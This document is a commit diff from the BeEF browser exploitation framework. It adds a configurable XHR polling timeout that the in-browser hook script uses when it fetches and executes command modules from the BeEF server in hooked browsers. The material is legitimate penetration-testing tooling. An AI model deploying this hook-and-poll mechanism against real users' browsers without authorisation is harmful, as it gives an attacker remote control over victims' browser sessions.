Added xhr_poll_timeout config to the main config.yaml. This can now be used to decrease/increase polling timeout for the normal XHR-polling communication.

config.yaml

@@ -20,6 +20,10 @@ beef:
         debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
         host: "0.0.0.0"
         port: "3000"
+        # Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
+        # It's not advised to decrease it with tons of hooked browsers (more than 50),
+        # because it might impact performance. Also, enable WebSockets is generally better.
+        xhr_poll_timeout: 5000
         # if running behind a nat set the public ip address here
         #public: ""
         #public_port: "" # port setting is experimental
@@ -34,7 +38,7 @@ beef:
           enable: false
           secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
           port: 61985 # WS: good success rate through proxies
-          secure_port: 61986 # WSS
+          secure_port: 61986 # WSSecure
           ws_poll_timeout: 1000 # poll BeEF every second
 
         # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)

core/main/client/updater.js

@@ -14,7 +14,7 @@ beef.updater = {
 	// Low timeouts combined with the way the framework sends commamd modules result 
 	// in instructions being sent repeatedly or complex code. 
 	// If you suffer from ADHD, you can decrease this setting.
-	timeout: 5000,
+    xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
 	
 	// A lock.
 	lock: false,
@@ -42,22 +42,20 @@ beef.updater = {
 			beef.net.flush();
 			if(beef.commands.length > 0) {
 				this.execute_commands();
-			}
-
-            else {
+			}else {
 				this.get_commands();    /*Polling*/
 			}
 		}
 
       // ( typeof beef.websocket === "undefined")
-		setTimeout("beef.updater.check();", beef.updater.timeout);
+		setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout);
 	},
 	
 	// Gets new commands from the framework.
 	get_commands: function(http_response) {
 		try {
 			this.lock = true;
-            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
+            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
                 if (response.body != null && response.body.length > 0)
                     beef.updater.execute_commands();
             });

core/main/handlers/modules/beefjs.rb

@@ -69,6 +69,9 @@ module BeEF
               hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
             end
 
+            # @note set the XHR-polling timeout
+            hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
+
             # @note if http_port <> public_port in config ini, use the public_port
             unless hook_session_config['beef_public_port'].nil?
               if hook_session_config['beef_port'] != hook_session_config['beef_public_port']